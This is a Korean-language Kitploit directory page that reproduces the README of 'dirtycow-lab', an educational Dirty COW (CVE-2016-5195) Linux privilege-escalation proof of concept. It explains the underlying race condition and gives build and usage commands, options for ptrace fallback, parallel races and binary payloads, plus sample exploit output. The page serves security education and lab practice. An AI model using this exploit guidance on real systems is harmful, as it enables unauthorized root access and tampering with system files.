Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
dirtycow-lab — Dirty COW(CVE-2016-5195) 교육용 PoC — 로깅, ptrace 폴백 및 바이너리 페이로드 지원 포함. | Kitploit
도구/GitHubGitHub/mohammadamin382/dirtycow-lab
Privilege EscalationVulnerability AnalysisExploitationPenetration TestingLearning & EducationRed TeamingBinary ExploitationLabs & Practice
GitHubmohammadamin382/dirtycow-lab

dirtycow-lab

Dirty COW(CVE-2016-5195) 교육용 PoC — 로깅, ptrace 폴백 및 바이너리 페이로드 지원 포함.

저장소 보기
11년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Dirty COW 교육용 PoC (CVE-2016-5195)

⚠️ 법적 경고

이 코드는 교육 목적으로만 제공됩니다. 악의적인 사용은 엄격히 금지되며 불법입니다.

📖 Dirty COW란 무엇인가?

Dirty COW(CVE-2016-5195)는 Linux 커널의 권한 상승 취약점으로, 커널의 COW(Copy-On-Write, 쓰기 시 복사) 메커니즘에서 발생하는 레이스 컨디션(race condition)을 악용합니다. 이 취약점은 2007년에 출시된 버전 2.6.22부터 다음 버전 이전까지의 Linux 커널에 영향을 미칩니다:

  • 4.8.3
  • 4.7.9
  • 4.4.26

기술적 세부 사항

이 취약점은 커널의 메모리 관리 시스템에서 발생합니다:

  1. COW(Copy-On-Write): 프로세스가 MAP_PRIVATE로 파일을 매핑하면, 수정 시 개인 복사본이 생성되어야 합니다
  2. 레이스 컨디션: madvise(MADV_DONTNEED)와 /proc/self/mem 쓰기 사이에서 경쟁하는 두 스레드
  3. 악용: 특정 타이밍 조건에서 쓰기가 COW 보호를 우회하고 원본 파일을 수정할 수 있습니다

영향

  • 권한 상승: root가 소유한 읽기 전용 파일 수정
  • 시스템 손상: /etc/passwd와 같은 시스템 파일을 수정하여 root 접근 권한을 획득할 가능성
  • 데이터 무결성: 중요 시스템 파일의 무단 수정

🛡️ 테스트를 위한 보안 참고 사항

⚠️ 중요: 격리된 환경에서만 테스트하세요

프로덕션 시스템이나 소유하지 않은 시스템에서 절대 실행하지 마세요!

권장 테스트 환경:

  1. 가상 머신(VM): VMware, VirtualBox 또는 KVM 사용
  2. 컨테이너: 취약한 커널이 있는 Docker 컨테이너
  3. 격리된 실습 환경: 중요한 데이터가 없는 전용 테스트 머신
  4. 커널 요구 사항: Linux 커널 버전 2.6.22 ~ 4.8.2

안전한 테스트 방법:

root@kitploit:~
# 1. Check kernel version first
uname -r

# 2. Create isolated test directory
mkdir /tmp/dirtycow_test
cd /tmp/dirtycow_test

# 3. Test with harmless files only
./main -t /tmp/test_file -v

# 4. Monitor system resources
top -p $(pgrep -f main)

🚀 컴파일 및 사용법

사전 요구 사항

root@kitploit:~
# Install required packages (Ubuntu/Debian)
sudo apt-get update
sudo apt-get install build-essential libssl-dev

# Install required packages (CentOS/RHEL)
sudo yum install gcc openssl-devel

컴파일

root@kitploit:~
# Standard compilation
make

# Debug version
make main-debug

# Manual compilation
gcc -o main main.c -lpthread -lssl -lcrypto

기본 사용법

root@kitploit:~
# Simple test with default settings
./main

# Verbose mode with custom target
./main -t /tmp/testfile -v

# Advanced usage with multiple processes
./main -t /tmp/target -n 4 -r 3 -D -v

# Binary payload from file
./main -f payload.bin -P -D -n 2

명령줄 옵션

🔬 고급 기능

1. 다중 공격 방법

  • 방법 1: /proc/self/mem 쓰기 (기본값)
  • 방법 2: 제한된 시스템을 위한 ptrace(PTRACE_POKETEXT)

2. 동적 오프셋 스캔

최적의 쓰기 위치를 찾기 위해 여러 메모리 오프셋을 스캔합니다:

root@kitploit:~
./main -D -v  # Enable dynamic offset scanning

3. 다중 프로세스 레이스 컨디션

강도 높은 레이스 컨디션을 유발하기 위해 여러 프로세스를 실행합니다:

root@kitploit:~
./main -n 4  # Use 4 parallel processes

4. 바이너리 페이로드 지원

파일에서 임의의 바이너리 데이터를 로드합니다:

root@kitploit:~
# Create binary payload
echo -ne '\x41\x41\x41\x41\x00\x42\x42' > payload.bin

# Use binary payload
./main -f payload.bin -v

5. 자동 재시도 로직

실패한 시도를 자동으로 재시도합니다:

root@kitploit:~
./main -r 5  # Retry up to 5 times

6. 파일 무결성 검증

SHA-256 해싱을 사용하여 파일 수정을 검증합니다:

root@kitploit:~
# Check original vs modified file hashes
./main -v  # Shows hash comparison in verbose mode

📊 출력 및 로깅

콘솔 출력 예시

root@kitploit:~
Dirty COW Educational PoC (CVE-2016-5195)
==========================================

=== SYSTEM INFORMATION ===
Kernel Version: Linux 4.4.0-generic
Architecture: x86_64
Current User: testuser
UID/GID: 1000/1000

=== VULNERABILITY CHECK ===
Kernel: Linux version 4.4.0-generic
[+] /proc/self/mem accessible

=== STARTING TEST ===

=== EXPLOIT EXECUTION ===
[+] Target: /tmp/dirty_cow_test
[+] Payload length: 32 bytes
[+] Iterations: 10000000
[+] Processes: 1
[+] Method: /proc/self/mem
[+] Dynamic offset: disabled
[+] Backup created: /tmp/dirty_cow_test.backup
[+] Original content: original-content-before-exploit
[+] Starting race condition test...
[+] EXPLOIT SUCCESSFUL on attempt 1!
[+] File hash changed - modification confirmed!
[+] Original: a1b2c3d4e5f6...
[+] Final:    f6e5d4c3b2a1...

=== TEST SUCCESSFUL ===
[+] File modification completed
[+] Educational objective achieved
[+] Statistics: 156789 writes, 1 successful, 2.347 sec

로그 파일 형식

이 도구는 exploit_log.txt에 상세 로그를 생성합니다:

root@kitploit:~
[2024-01-15 10:30:45] System Info - UID/GID: 1000/1000
[2024-01-15 10:30:45] Kernel version: Linux version 4.4.0-generic
[2024-01-15 10:30:45] /proc/self/mem accessible
[2024-01-15 10:30:45] Starting exploit - Target: /tmp/test, Payload: 32 bytes
[2024-01-15 10:30:47] EXPLOIT SUCCESSFUL on attempt 1
[2024-01-15 10:30:47] Final stats - Writes: 156789, Successful: 1, Duration: 2.347 sec

🎯 테스트 시나리오

시나리오 1: 기본 기능 테스트

root@kitploit:~
# Test basic exploit functionality
./main -t /tmp/basic_test -v

시나리오 2: 스트레스 테스트

root@kitploit:~
# High-intensity race condition test
./main -i 50000000 -n 4 -r 3 -D -v

시나리오 3: 제한된 환경

root@kitploit:~
# Test when /proc/self/mem is blocked
./main -P -D -v

시나리오 4: 바이너리 페이로드 테스트

root@kitploit:~
# Test with binary data containing null bytes
echo -ne 'BINARY\x00DATA\x01\x02\x03' > test.bin
./main -f test.bin -v

🔍 익스플로잇 이해하기

레이스 컨디션 타이밍

이 익스플로잇은 두 작업 사이에 경쟁(race)을 만들어 동작합니다:

  1. 스레드 1: madvise(MADV_DONTNEED) - 커널에 메모리 페이지를 폐기하도록 지시합니다
  2. 스레드 2: /proc/self/mem에 쓰기 - 매핑된 메모리에 쓰기를 시도합니다

성공 요소

  • 커널 버전: 취약한 버전이어야 함 (< 4.8.3)
  • 타이밍: 레이스 컨디션이 정확한 순간에 발생해야 함
  • 메모리 매핑: 파일이 MAP_PRIVATE로 매핑되어야 함
  • 권한: 대상 파일에 대한 읽기 권한이 있어야 함

작동 원리

레이스 컨디션이 성공하면:

  1. 스레드 1이 COW 페이지를 폐기합니다
  2. 새 COW 페이지가 생성되기 전에 스레드 2의 쓰기가 발생합니다
  3. 쓰기가 개인 복사본 대신 원본 파일로 직접 수행됩니다

🛠️ 문제 해결

일반적인 문제

1. "익스플로잇 실패 또는 반복 횟수 부족"

  • 해결 방법: -i로 반복 횟수를 늘리거나 -n으로 여러 프로세스를 사용하세요

2. "/proc/self/mem 접근 실패"

  • 해결 방법: -P 플래그로 ptrace 방법을 사용하세요

3. "시스템이 취약하지 않을 수 있습니다"

  • 커널 버전 확인: uname -r
  • 커널이 4.8.3보다 오래된 버전인지 확인하세요

4. 시스템이 응답하지 않게 됩니다

  • 반복 횟수 줄이기: -i 1000000
  • 프로세스 수 줄이기: -n 1

성능 튜닝

root@kitploit:~
# Conservative settings (slower but safer)
./main -i 5000000 -n 1

# Aggressive settings (faster but resource intensive)
./main -i 50000000 -n 4 -D

# Balanced settings
./main -i 20000000 -n 2 -r 2 -D

📚 교육 자료

CVE 정보

  • CVE-2016-5195: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-5195
  • NVD 데이터베이스: https://nvd.nist.gov/vuln/detail/CVE-2016-5195

추가 자료

  • Linux 커널 메모리 관리
  • COW(Copy-On-Write) 메커니즘
  • 레이스 컨디션 취약점
  • 권한 상승 기술

🤝 기여

이 도구는 교육용 도구입니다. 기여는 다음에 중점을 두어야 합니다:

  • 교육적 가치 향상
  • 안전 기능 추가
  • 더 나은 문서화
  • 코드 명확성 및 주석

⚖️ 면책 조항

이 소프트웨어는 교육 및 연구 목적으로만 제공됩니다. 저자와 기여자는 이 프로그램으로 인해 발생하는 오용이나 손해에 대해 책임을 지지 않습니다. 사용자는 모든 시스템에서 테스트를 수행하기 전에 적절한 권한을 보유하고 있는지 확인할 전적인 책임이 있습니다.

이 소프트웨어를 사용함으로써 다음 사항을 인정하게 됩니다:

  • 합법적인 교육 목적으로만 사용할 것입니다
  • 수행하는 모든 테스트에 대해 적절한 권한을 보유하고 있습니다
  • 무단 시스템 테스트의 법적 영향력을 이해하고 있습니다
  • 이 도구를 악의적인 목적으로 사용하지 않을 것입니다

📝 라이선스

이 프로젝트는 교육 목적으로만 MIT 라이선스로 배포됩니다.


기억하세요: 큰 힘에는 큰 책임이 따릅니다. 이 지식을 시스템을 보호하고 안전하게 유지하는 데 사용하고, 해를 끼치는 데 사용하지 마세요.

도구 다운로드
옵션설명기본값최대값
-t <file>대상 파일 경로/tmp/dirty_cow_test-
-p <payload>사용자 지정 텍스트 페이로드테스트 문자열-
-f <file>파일에서 바이너리 페이로드 로드--
-i <num>반복 횟수10,000,000100,000,000
-n <num>병렬 프로세스 수18
-r <num>재시도 횟수110
-P/proc/self/mem 대신 ptrace 사용비활성화-
-D동적 오프셋 스캔 활성화비활성화-
-v상세(verbose) 출력비활성화-
-l <file>로그 파일 경로exploit_log.txt-
-h도움말 표시--